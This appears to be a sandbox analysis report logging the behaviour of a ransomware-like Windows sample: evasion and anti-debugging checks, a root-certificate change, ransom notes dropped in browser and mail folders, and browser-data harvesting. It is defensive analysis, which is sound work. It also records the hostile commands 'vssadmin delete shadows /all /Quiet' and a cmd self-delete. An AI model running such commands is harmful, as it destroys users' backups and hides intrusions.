Source: C:\Users\user\AppData\Roaming\svcmtr.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Roaming\svcmtr.exe

2_2_0041B2C0

Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Window / User API: threadDelayed 5444			Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Window / User API: threadDelayed 3233			Jump to behavior

Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Evaded block: after key decision			graph_0-22035
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Evaded block: after key decision			graph_2-22320

Source: C:\Users\user\Desktop\0t8amSU3vd.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_0-22377

Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_2-22173
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_0-22168

Source: C:\Users\user\Desktop\0t8amSU3vd.exe TID: 3528	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe TID: 3596	Thread sleep count: 5444 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe TID: 3596	Thread sleep time: -1088800s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe TID: 3620	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe TID: 3596	Thread sleep count: 3233 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe TID: 3596	Thread sleep time: -646600s >= -30000s	Jump to behavior
Source: C:\Windows\System32\vssadmin.exe TID: 3720	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\vssadmin.exe TID: 3720	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_004139B0 _memset,_memset,FindFirstFileW,__wcsdup,wcsstr,wcsstr,wcsstr,wcsstr,_free,FindNextFileW,FindClose,		0_2_004139B0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_004139B0 _memset,_memset,FindFirstFileW,__wcsdup,wcsstr,wcsstr,wcsstr,wcsstr,_free,FindNextFileW,FindClose,		2_2_004139B0

Source: C:\Users\user\Desktop\0t8amSU3vd.exe

Code function: 0_2_00413780 GetLogicalDriveStringsW,_memset,GetVolumeInformationW,GetDriveTypeW,GetVolumeInformationW,ExitThread,

0_2_00413780

Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\AppCache\V607KDWC\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Outlook\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\PlayReady\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\PlayReady\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\1033\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\1033\restore_files_gpmus.txt	Jump to behavior

Source: C:\Users\user\Desktop\0t8amSU3vd.exe	API call chain: ExitProcess graph end node	graph_0-22002
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	API call chain: ExitProcess graph end node	graph_2-22097
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	API call chain: ExitProcess graph end node	graph_2-21940

Source: C:\Users\user\AppData\Roaming\svcmtr.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\0t8amSU3vd.exe

Code function: 0_2_004258E7 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_004258E7

Source: C:\Users\user\AppData\Roaming\svcmtr.exe

2_2_0041B2C0

Source: C:\Users\user\Desktop\0t8amSU3vd.exe

0_2_0042CCB4

Source: C:\Users\user\Desktop\0t8amSU3vd.exe

Code function: 0_2_00413D10 wcsstr,_memset,GetFileAttributesW,SetFileAttributesW,CreateFileW,GetFileSize,GetProcessHeap,GetProcessHeap,HeapAlloc,ReadFile,CloseHandle,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,CloseHandle,_memset,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,HeapFree,GetProcessHeap,HeapFree,CloseHandle,SetFilePointer,WriteFile,WriteFile,GetProcessHeap,HeapFree,HeapFree,WriteFile,WriteFile,GetProcessHeap,HeapFree,HeapFree,FlushFileBuffers,CloseHandle,MoveFileExW,GetLastError,DeleteFileW,Sleep,GetProcessHeap,HeapFree,HeapFree,GetProcessHeap,HeapFree,

0_2_00413D10

Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_004258E7 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004258E7
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_0042A9AE SetUnhandledExceptionFilter,	0_2_0042A9AE
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_00423EBB IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00423EBB
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_004258E7 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_004258E7
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_0042A9AE SetUnhandledExceptionFilter,	2_2_0042A9AE
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00423EBB IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00423EBB

Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Process created: C:\Users\user\AppData\Roaming\svcmtr.exe C:\Users\user\AppData\Roaming\svcmtr.exe	Jump to behavior
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c del C:\Users\user\Desktop\0T8AMS~1.EXE >> NUL	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\System32\vssadmin.exe" delete shadows /all /Quiet	Jump to behavior

Source: C:\Users\user\Desktop\0t8amSU3vd.exe

0_2_0041D4D0

Source: C:\Users\user\Desktop\0t8amSU3vd.exe

Code function: 0_2_003B17FB cpuid

0_2_003B17FB

Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\notepad.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\restore_files_gpmus.txt VolumeInformation

Source: C:\Users\user\Desktop\0t8amSU3vd.exe

Code function: 0_2_0042AE84 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_0042AE84

Source: C:\Users\user\Desktop\0t8amSU3vd.exe

0_2_0041D4D0

Source: C:\Users\user\Desktop\0t8amSU3vd.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Overwrites Mozilla Firefox settings

Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File written: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File written: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File written: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File written: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File written: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File written: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File written: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\safebrowsing\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File written: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\safebrowsing\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File written: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File written: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File written: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File written: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\restore_files_gpmus.html	Jump to behavior

Stealing of Sensitive Information

Searches for Windows Mail specific files

Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup *	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup NULL	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new *	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new NULL	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail *	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail NULL	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup *	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup NULL	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new *	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new NULL	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail *	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail NULL	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup *	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup NULL	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new *	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new NULL	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery *	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery NULL	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\FontLookupTableCache\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\OriginTrials\1.0.0.14\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\blob_storage\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crowd Deny\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\RecoveryImproved\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Mozilla\Firefox\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ShaderCache\GPUCache\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\TLSDeprecationConfig\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\FileTypePolicies\61\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Storage\ext\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Thumbnails\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\GrShaderCache\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Session Storage\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\MEIPreload\1.0.6.0\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\CertificateTransparency\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crashpad\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crowd Deny\2022.10.19.1145\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\pnacl\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ECSerivceProvidersConfig\1\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Cache\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\shared_proto_db\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\TLSDeprecationConfig\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\RecoveryImproved\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Code Cache\js\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\SafetyTips\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\InterventionPolicyDatabase\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\FileTypePolicies\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ThirdPartyModuleList64\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\CertificateRevocation\8167\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\GCM Store\Encryption\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\PepperFlash\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Code Cache\js\index-dir\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Thumbnails\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Mozilla\Firefox\Profiles\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\CertificateRevocation\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\CertificateTransparency\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\shared_proto_db\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crashpad\reports\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\CertificateRevocation\8167\_metadata\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Rules\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Rules\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\PepperFlash\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\blob_storage\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\CertificateRevocation\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crashpad\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\GCM Store\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\databases\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ShaderCache\GPUCache\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Mozilla\Firefox\Profiles\7xwghk55.default\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\CertificateTransparency\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ECSerivceProvidersConfig\1\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\GPUCache\restore_files_gpmus.txt	Jump to behavior
